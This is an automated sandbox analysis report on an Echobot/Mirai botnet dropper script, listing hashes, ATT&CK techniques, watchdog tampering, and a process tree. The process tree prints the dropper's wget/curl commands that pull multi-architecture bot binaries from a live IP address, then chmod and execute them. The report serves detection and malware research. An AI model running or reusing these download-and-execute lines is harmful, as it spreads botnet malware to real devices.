echobot | 71451b64fc1acf7e50295e14859f7957966210efb8351a26882f96781aa7c4e1

Analysis

max time kernel
78s
max time network
152s
platform
debian-9_mips
resource
debian9-mipsbe-20240418-en
resource tags

arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
29/03/2025, 15:48

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General

Target

Oblivion121.sh
Size

1KB
MD5

506ea803fdb2d5a593683fe98fec6f1f
SHA1

f71d6ccbfd48bff6ba7c06a7250e137f5ab75066
SHA256

71451b64fc1acf7e50295e14859f7957966210efb8351a26882f96781aa7c4e1
SHA512

213cf82427a6b073293b65f0745fa5bc95e24c7f684aec2f97b7548d4d099c0a0251f691d4a514818da6ad5b6674c55549eaa960a7ac7e2d28ee391d9d626fc5

Score

10^/10

echobot mirai botnet defense_evasion discovery trojan

Malware Config

Signatures

Detected Echobot 2 IoCs

resource	yara_rule
behavioral3/files/fstream-1.dat	family_echobot
behavioral3/files/fstream-4.dat	family_echobot

Echobot
An updated variant of Mirai which infects a wide range of IoT devices to form a botnet.
botnet trojan echobot
Echobot family
echobot
Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
Contacts a large (168005) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
740	chmod
752	chmod
787	chmod
844	chmod
868	chmod
927	chmod
885	chmod
899	chmod
913	chmod
941	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/cp	741	Oblivion121.sh
/tmp/cp	753	Oblivion121.sh
/tmp/cp	789	Oblivion121.sh
/tmp/cp	845	Oblivion121.sh
/tmp/cp	869	Oblivion121.sh
/tmp/cp	886	Oblivion121.sh
/tmp/cp	900	Oblivion121.sh
/tmp/cp	914	Oblivion121.sh
/tmp/cp	928	Oblivion121.sh
/tmp/cp	942	Oblivion121.sh

Modifies Watchdog functionality 1 TTPs 18 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	cp
File opened for modification	/dev/watchdog	cp
File opened for modification	/dev/watchdog	cp
File opened for modification	/dev/watchdog	cp
File opened for modification	/dev/misc/watchdog	cp
File opened for modification	/dev/misc/watchdog	cp
File opened for modification	/dev/misc/watchdog	cp
File opened for modification	/dev/watchdog	cp
File opened for modification	/dev/watchdog	cp
File opened for modification	/dev/watchdog	cp
File opened for modification	/dev/watchdog	cp
File opened for modification	/dev/watchdog	cp
File opened for modification	/dev/misc/watchdog	cp
File opened for modification	/dev/misc/watchdog	cp
File opened for modification	/dev/misc/watchdog	cp
File opened for modification	/dev/misc/watchdog	cp
File opened for modification	/dev/watchdog	cp
File opened for modification	/dev/misc/watchdog	cp

Enumerates active TCP sockets 1 TTPs 9 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp

Changes its process name 9 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	a44mjah1eipkc1ajj3n	753	cp
Changes the process name, possibly in an attempt to hide itself	amh5i1m	789	cp
Changes the process name, possibly in an attempt to hide itself	ih3gnddkb	845	cp
Changes the process name, possibly in an attempt to hide itself	jo4d2a1g3nkkdmpjj	869	cp
Changes the process name, possibly in an attempt to hide itself	a0bpkpimmofg33hhh1m	886	cp
Changes the process name, possibly in an attempt to hide itself	eo1i4ghi1bdjjn243nd	900	cp
Changes the process name, possibly in an attempt to hide itself	01e5oa	914	cp
Changes the process name, possibly in an attempt to hide itself	1p3id3noik0	928	cp
Changes the process name, possibly in an attempt to hide itself	fh2g25ffkfap1ebk	942	cp

Reads system network configuration 1 TTPs 9 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/326/fd	cp
File opened for reading	/proc/663/fd	cp
File opened for reading	/proc/687/fd	cp
File opened for reading	/proc/1/fd	cp
File opened for reading	/proc/144/fd	cp
File opened for reading	/proc/667/fd	cp
File opened for reading	/proc/165/fd	cp
File opened for reading	/proc/329/fd	cp
File opened for reading	/proc/326/fd	cp
File opened for reading	/proc/856/fd	cp
File opened for reading	/proc/660/fd	cp
File opened for reading	/proc/165/fd	cp
File opened for reading	/proc/330/fd	cp
File opened for reading	/proc/709/fd	cp
File opened for reading	/proc/816/exe	cp
File opened for reading	/proc/329/fd	cp
File opened for reading	/proc/666/fd	cp
File opened for reading	/proc/323/fd	cp
File opened for reading	/proc/1/fd	cp
File opened for reading	/proc/326/fd	cp
File opened for reading	/proc/663/fd	cp
File opened for reading	/proc/687/fd	cp
File opened for reading	/proc/709/fd	cp
File opened for reading	/proc/713/fd	cp
File opened for reading	/proc/372/fd	cp
File opened for reading	/proc/709/fd	cp
File opened for reading	/proc/324/fd	cp
File opened for reading	/proc/701/fd	cp
File opened for reading	/proc/324/fd	cp
File opened for reading	/proc/713/fd	cp
File opened for reading	/proc/373/fd	cp
File opened for reading	/proc/421/fd	cp
File opened for reading	/proc/713/fd	cp
File opened for reading	/proc/660/fd	cp
File opened for reading	/proc/329/fd	cp
File opened for reading	/proc/660/fd	cp
File opened for reading	/proc/144/fd	cp
File opened for reading	/proc/713/fd	cp
File opened for reading	/proc/329/fd	cp
File opened for reading	/proc/326/fd	cp
File opened for reading	/proc/235/fd	cp
File opened for reading	/proc/323/fd	cp
File opened for reading	/proc/324/fd	cp
File opened for reading	/proc/687/fd	cp
File opened for reading	/proc/144/fd	cp
File opened for reading	/proc/326/fd	cp
File opened for reading	/proc/809/fd	cp
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/323/fd	cp
File opened for reading	/proc/713/fd	cp
File opened for reading	/proc/372/fd	cp
File opened for reading	/proc/663/fd	cp
File opened for reading	/proc/373/fd	cp
File opened for reading	/proc/929/exe	cp
File opened for reading	/proc/663/fd	cp
File opened for reading	/proc/667/fd	cp
File opened for reading	/proc/915/exe	cp
File opened for reading	/proc/329/fd	cp
File opened for reading	/proc/666/fd	cp
File opened for reading	/proc/667/fd	cp
File opened for reading	/proc/235/fd	cp
File opened for reading	/proc/421/fd	cp
File opened for reading	/proc/887/exe	cp
File opened for reading	/proc/901/fd	cp

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
743	wget
744	curl
750	cat
753	cp

Writes file to tmp directory 20 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/jade420.mpsl	curl
File opened for modification	/tmp/jade420.arm6	wget
File opened for modification	/tmp/jade420.ppc	wget
File opened for modification	/tmp/jade420.sh4	curl
File opened for modification	/tmp/jade420.x86	wget
File opened for modification	/tmp/jade420.mips	wget
File opened for modification	/tmp/jade420.mpsl	wget
File opened for modification	/tmp/jade420.arm4	curl
File opened for modification	/tmp/jade420.arm6	curl
File opened for modification	/tmp/jade420.arm7	wget
File opened for modification	/tmp/jade420.arm7	curl
File opened for modification	/tmp/jade420.ppc	curl
File opened for modification	/tmp/jade420.x86	curl
File opened for modification	/tmp/jade420.mips	curl
File opened for modification	/tmp/jade420.arm5	wget
File opened for modification	/tmp/jade420.arm5	curl
File opened for modification	/tmp/jade420.m68k	wget
File opened for modification	/tmp/jade420.m68k	curl
File opened for modification	/tmp/jade420.sh4	wget
File opened for modification	/tmp/cp	Oblivion121.sh

/tmp/Oblivion121.sh
/tmp/Oblivion121.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:709
- /usr/bin/wget
  wget http://176.65.144.18/bins/jade420.x86
  2⤵
  - Writes file to tmp directory
  PID:712
- /usr/bin/curl
  curl -O http://176.65.144.18/bins/jade420.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:738
- /bin/cat
  cat jade420.x86
  2⤵
  PID:739
- /bin/chmod
  chmod +x cp jade420.x86 Oblivion121.sh systemd-private-d5ea4fa2c7ed4bddb56f002a681611f0-systemd-timedated.service-lq89oW
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/cp
  ./cp x86
  2⤵
  PID:741
- /usr/bin/wget
  wget http://176.65.144.18/bins/jade420.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:743
- /usr/bin/curl
  curl -O http://176.65.144.18/bins/jade420.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:744
- /bin/cat
  cat jade420.mips
  2⤵
  - System Network Configuration Discovery
  PID:750
- /bin/chmod
  chmod +x cp jade420.mips jade420.x86 Oblivion121.sh systemd-private-d5ea4fa2c7ed4bddb56f002a681611f0-systemd-timedated.service-lq89oW
  2⤵
  - File and Directory Permissions Modification
  PID:752
- /tmp/cp
  ./cp mips
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:753
- /usr/bin/wget
  wget http://176.65.144.18/bins/jade420.mpsl
  2⤵
  - Writes file to tmp directory
  PID:762
- /usr/bin/curl
  curl -O http://176.65.144.18/bins/jade420.mpsl
  2⤵
  - Writes file to tmp directory
  PID:772
- /bin/chmod
  chmod +x cp jade420.mips jade420.mpsl jade420.x86 Oblivion121.sh systemd-private-d5ea4fa2c7ed4bddb56f002a681611f0-systemd-timedated.service-lq89oW
  2⤵
  - File and Directory Permissions Modification
  PID:787
- /tmp/cp
  ./cp mpsl
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:789
- /usr/bin/wget
  wget http://176.65.144.18/bins/jade420.arm4
  2⤵
  PID:824
- /usr/bin/curl
  curl -O http://176.65.144.18/bins/jade420.arm4
  2⤵
  - Writes file to tmp directory
  PID:832
- /bin/chmod
  chmod +x cp jade420.arm4 jade420.mips jade420.mpsl jade420.x86 Oblivion121.sh systemd-private-d5ea4fa2c7ed4bddb56f002a681611f0-systemd-timedated.service-lq89oW
  2⤵
  - File and Directory Permissions Modification
  PID:844
- /tmp/cp
  ./cp arm4
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:845
- /usr/bin/wget
  wget http://176.65.144.18/bins/jade420.arm5
  2⤵
  - Writes file to tmp directory
  PID:859
- /usr/bin/curl
  curl -O http://176.65.144.18/bins/jade420.arm5
  2⤵
  - Writes file to tmp directory
  PID:866
- /bin/chmod
  chmod +x cp jade420.arm4 jade420.arm5 jade420.mips jade420.mpsl jade420.x86 Oblivion121.sh systemd-private-d5ea4fa2c7ed4bddb56f002a681611f0-systemd-timedated.service-lq89oW
  2⤵
  - File and Directory Permissions Modification
  PID:868
- /tmp/cp
  ./cp arm5
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:869
- /usr/bin/wget
  wget http://176.65.144.18/bins/jade420.arm6
  2⤵
  - Writes file to tmp directory
  PID:876
- /usr/bin/curl
  curl -O http://176.65.144.18/bins/jade420.arm6
  2⤵
  - Writes file to tmp directory
  PID:883
- /bin/chmod
  chmod +x cp jade420.arm4 jade420.arm5 jade420.arm6 jade420.mips jade420.mpsl jade420.x86 Oblivion121.sh
  2⤵
  - File and Directory Permissions Modification
  PID:885
- /tmp/cp
  ./cp arm6
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:886
- /usr/bin/wget
  wget http://176.65.144.18/bins/jade420.arm7
  2⤵
  - Writes file to tmp directory
  PID:890
- /usr/bin/curl
  curl -O http://176.65.144.18/bins/jade420.arm7
  2⤵
  - Writes file to tmp directory
  PID:897
- /bin/chmod
  chmod +x cp jade420.arm4 jade420.arm5 jade420.arm6 jade420.arm7 jade420.mips jade420.mpsl jade420.x86 Oblivion121.sh
  2⤵
  - File and Directory Permissions Modification
  PID:899
- /tmp/cp
  ./cp arm7
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:900
- /usr/bin/wget
  wget http://176.65.144.18/bins/jade420.ppc
  2⤵
  - Writes file to tmp directory
  PID:904
- /usr/bin/curl
  curl -O http://176.65.144.18/bins/jade420.ppc
  2⤵
  - Writes file to tmp directory
  PID:911
- /bin/chmod
  chmod +x cp jade420.arm4 jade420.arm5 jade420.arm6 jade420.arm7 jade420.mips jade420.mpsl jade420.ppc jade420.x86 Oblivion121.sh
  2⤵
  - File and Directory Permissions Modification
  PID:913
- /tmp/cp
  ./cp ppc
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:914
- /usr/bin/wget
  wget http://176.65.144.18/bins/jade420.m68k
  2⤵
  - Writes file to tmp directory
  PID:918
- /usr/bin/curl
  curl -O http://176.65.144.18/bins/jade420.m68k
  2⤵
  - Writes file to tmp directory
  PID:925
- /bin/chmod
  chmod +x cp jade420.arm4 jade420.arm5 jade420.arm6 jade420.arm7 jade420.m68k jade420.mips jade420.mpsl jade420.ppc jade420.x86 Oblivion121.sh
  2⤵
  - File and Directory Permissions Modification
  PID:927
- /tmp/cp
  ./cp m68k
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:928
- /usr/bin/wget
  wget http://176.65.144.18/bins/jade420.sh4
  2⤵
  - Writes file to tmp directory
  PID:932
- /usr/bin/curl
  curl -O http://176.65.144.18/bins/jade420.sh4
  2⤵
  - Writes file to tmp directory
  PID:939
- /bin/chmod
  chmod +x cp jade420.arm4 jade420.arm5 jade420.arm6 jade420.arm7 jade420.m68k jade420.mips jade420.mpsl jade420.ppc jade420.sh4 jade420.x86 Oblivion121.sh
  2⤵
  - File and Directory Permissions Modification
  PID:941
- /tmp/cp
  ./cp sh4
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:942

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/cp

Filesize
95KB

MD5
3d2c880e79089241c8fbb272ee31060b

SHA1
23233e3043dc70c1e21e352f99bdcfc70a233dcd

SHA256
7961cf5c0d14018d558bdb82ee0f4bb07967e1fd671444dd708ed782fdda54e4

SHA512
1246ed2d4bdfe5f43f6f6ea13704d9a5c59c70d446b16be55103de187e2a97912e89ff1ff44553b900fba08e977309f2804af47a0afc6120555fe04afd5718e3

Download Submit
/tmp/jade420.x86

Filesize
68KB

MD5
ca9c4fc72ea948856f5a37956f167bfc

SHA1
a689a0fc903757672b777dda4f82a8688556d333

SHA256
96f4ce7b2e797678dab4ccafd828ace3718b945bfe8a05357688a5cd2d166fc4

SHA512
900e34ae8667a6cea737e5a16c3143d9ab8e20a3f466bc6b616bf47fc961809bfd3ffcdc938c0941c4209ac3ed4af2066d82942dd45e05f78199e87d9a87ddf2

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads